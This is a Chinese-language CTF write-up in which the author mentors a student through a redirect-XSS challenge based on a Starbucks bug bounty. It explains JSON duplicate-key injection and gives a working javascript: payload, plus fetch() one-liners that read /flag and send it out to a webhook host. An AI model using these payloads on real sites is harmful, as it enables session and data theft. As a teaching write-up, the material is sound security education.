这是一道基于17年starbuck
的XSS Bug Bounty
改编而成的CTF
题目,由我引导团队内一位来自高中的学弟做出(真的卷,高中就开始玩CTF
),从而引发出来的思考和记录,作为本公众号的第一篇技术文章。
Part Ⅰ - 通读文件结构 && 简单分析代码Part Ⅱ - How to Xss (1) -- 满足条件Part Ⅲ - How to Xss (2) -- 跳转那点事Part Ⅳ - 收尾的js代码问题Part Ⅴ - 写在最后
典型的XSS
题目,题目只提供部分源码,我习惯于先看一下bot
代码确定flag
位置。这类型题目的考点大概分为两大类,一类要求你伪造cookies
作为admin
访问对应路由,另一类则直接获取cookies flag在cookies里面。
bot
源码如下:
const cookies = [{
name: 'jsession',
value: 'DELETE',
domain: "127.0.0.1",
httpOnly:true
}];
const bot = async function (url){
const URL = parse(url, true)
try{
const browser = await puppeteer.launch({
headless: true,
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-dev-shm-usage'
],
dumpio: true,
});
page = await browser.newPage('http://127.0.0.1:80');
await page.setCookie(...cookies);
console.log(URL.href)
await page.goto(`http://127.0.0.1:80/?blog=${URL.href}`);
setTimeout(() => {
browser.close();
}, 4000);
} catch (err) {
console.log(`err : ${err}`);
}
}
题目设置httponly
为true
,且value
值为delete
,无法明确是要我们要通过bypass
手段,还是参数本身就是delete
,这种情况还是继续回归源码。
当看到/flag
路由我们就清楚这道题目是需要伪造cookies
为admin
,再请求/flag
路由,读取flag
。
代码除了上面我们截图部分外仅有这一部分了。
router.get('/', (req, res) => {
const blog = req.query.blog || 'https://xxxx.com';
const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`);
const url = parse(user['setblog'], true)
, hostname = url.hostname;
if (hostname === 'xxx.com' && user['username'] === 'hello') {
console.log(1)
res.render('index', {url:url});
} else {
res.render('index', {url:'#'});
}
});
然后我和学弟产生了如下对话:
学弟: "我知道关键是要走到这行代码 `res.render('index', {url:url});`,但是具体咋做不太懂。"
我: "我知道你急,但你先别急,你先看上面哪些函数是你见过的,你也打一个多月CTF了。"
学弟: "JSON.parse!可以原型链污染!"
我: "啊...?"
首先学弟向我展示出了一个赛棍的敏感,当JSON.parse
参数可控他立刻就想到了原型链污染,但首先要明确原型链污染构成的条件,是要控制类的原型。JSON.parse
能把__proto__
认为成一个键名,所以在如果有merge
、copy
这类函数进行操作配合JSON.parse
才能进行原型链污染。而且原型链污染要干嘛问他也是一问三不知,所以我引导他看JSON.parse
和判断条件。
“另外作为一个安全从业者,闭合的思想非常重要,如果json
中出现两个相同的键名会怎样呢?”
学弟很快Get
到了我的意思,构造出了如下字符串:","username":"hello
这样就可以达到控制username
值,那我们输入正常的url
,就是上面的xxx.com
,然后输出调试一下。
可以看到url_parse
的结果,能够控制host
为xxx.com
,但是render url
后又会怎么样呢?我们可以去看靶机。
“可以看到这里面会进行一个跳转,我们现在只能跳转到xxx.com
该怎么办呢?”
学弟在探索了url-parse
的解析手册和一些ssrf
查看的手法后告诉我一无所获…
“拿到跳转能进行xss吗?” 我继续用问题引导学弟。
学弟: "我搜了下 `javascript:alert(1)` 我刚把他忘了,javascript也是协议啊!javascript://alert(1)这样是可以的,如果有host我又蒙了...
我: "建议你去搜索一下bug bounty,这道题目的设计就是基于某个redirect xss的。"
很快他通过我提供的redirect xss
找到了hacker-one
星巴克的一个洞。
很快,他就自信的说他明白了,构造了对应payload
。
换行执行xss
,发生在很多可以跳转本站链接中,没多久他又说:“不行,执行不了。”
给我看了报错信息,很清楚看到是json
传参的错误,我继续问他:“那么什么符号导致的?”。
他在这儿陷入了僵局,而我并不打算给他任何提示,毕竟是一个很容易思考发现的报错,一个小时后他才终于恍然大悟:“原来可以对%0a
再编一次码”。但实际上使用编码,比如unicode
,也是完全可以的,最后他成功获得了xss
。
javascript://xxx.com/%250Aalert(1)","username":"hello
到这里我们可以来梳理下思路,题目主要考查的是open redirect xss
通过JSON.parse
解析中的闭合修改username
,关键在于能否敏锐捕捉到javascript
协议。
其中他经历的挫折很大程度上是以下几点:1. 懒,没多本地调试更没有多思考;2. 没有充分利用搜索引擎,如果他了解一些比较大的payload网站比如hacktricks他会很轻松寻找到答案。
最后我问他接下来你知道怎么做了吧?他说:“easy!我直接用hackbar生成一个!”
fetch(`/flag`).then(t=>t.text()).then(t=>location=`https://webhook/?f=`+encodeURIComponent(t))
倒是突出了一个优雅,但是这道题没法使用箭头函数,我就让他正常写函数,效果一样,但他说不会…
fetch(`/flag`).then(function(response){return response.text();}).then(function(data){return fetch(`https://webhook.site/xx?flag=${encodeURIComponent(data)}`);});
这有啥难的,把箭头改写成正常函数return
就可以了。
这种RealWorld
改写的CTF
题目含金量比较高,也不是很难,自己尝试调试思考,才是学习安全脚踏实力的唯一方法!
我们是一群对技术有着狂热执着的人,期待与您的合作。